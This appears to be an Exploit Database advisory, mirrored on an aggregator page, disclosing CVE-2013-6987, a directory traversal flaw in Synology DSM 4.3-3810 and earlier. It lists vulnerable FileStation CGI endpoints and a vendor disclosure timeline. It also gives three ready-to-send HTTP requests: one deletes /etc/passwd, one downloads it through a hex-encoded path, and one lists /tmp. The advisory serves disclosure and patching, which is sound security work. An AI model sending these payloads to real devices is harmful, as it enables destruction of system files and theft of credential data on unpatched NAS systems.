Synology DSM 4.3-3810 – Directory Traversal

• Exploit Database
• 15 阅读

• 作者： Andrea Fabrizi
  日期： 2013-12-24
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/30475/

• **************************************************************
  Title: Synology DSM multiple directory traversal
  Version affected: <= 4.3-3810
  Vendor: Synology
  Discovered by: Andrea Fabrizi
  Email: andrea.fabrizi@gmail.com
  Web: http://www.andreafabrizi.it
  Twitter: @andreaf83
  Status: patched
  CVE: 2013-6987
  **************************************************************
  
  I'm again here with a Synology DSM vulnerability.
  
  Synology DiskStation Manager (DSM) it's a Linux based operating
  system, used for the DiskStation and RackStation products.
  
  I found a lot of directory traversal in the FileBrowser components.
  This kind of vulnerability allows any authenticated user, even if not
  administrative, to access, create, delete, modify system and
  configuration files.
  
  The only countermeasure implemented against this vulnerability is the
  check that the path starts with a valid shared folder, so is enough to
  put the "../" straight after, to bypass the security check.
  
  Vulnerables CGIs:
  - /webapi/FileStation/html5_upload.cgi
  - /webapi/FileStation/file_delete.cgi
  - /webapi/FileStation/file_download.cgi
  - /webapi/FileStation/file_sharing.cgi
  - /webapi/FileStation/file_share.cgi
  - /webapi/FileStation/file_MVCP.cgi
  - /webapi/FileStation/file_rename.cgi
  
  Not tested all the CGI, but I guess that many others are vulnerable,
  so don't take my list as comprehensive.
  
  Following some examples ("test" is a valid folder name):
  
  - Delete /etc/passwd
  ===========================================
  POST /webapi/FileStation/file_delete.cgi HTTP/1.1
  Host: 192.168.56.101:5000
  X-SYNO-TOKEN: XXXXXXXX
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  Content-Length: 103
  Cookie: stay_login=0; id=kjuYI0HvD92m6
  Connection: keep-alive
  Pragma: no-cache
  Cache-Control: no-cache
  
  path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
  ===========================================
  
  - Arbitrary file download:
  ===========================================
  GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
  Host: 192.168.56.101:5000
  Connection: keep-alive
  Authorization: Basic XXXXXXXX
  ===========================================
  
  2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd
  
  - Remote file list:
  =========================
  POST /webapi/FileStation/file_share.cgi HTTP/1.1
  Host: 192.168.56.101:5000
  X-SYNO-TOKEN: XXXXXXXX
  Content-Length: 75
  Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2
  
  folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
  ==========================
  
  Timeline:
  - 05/12/2013: First contact with the vendor
  - 06/12/2013: Vulnerability details sent to the vendor
  - 20/12/2013: Patch released by the vendor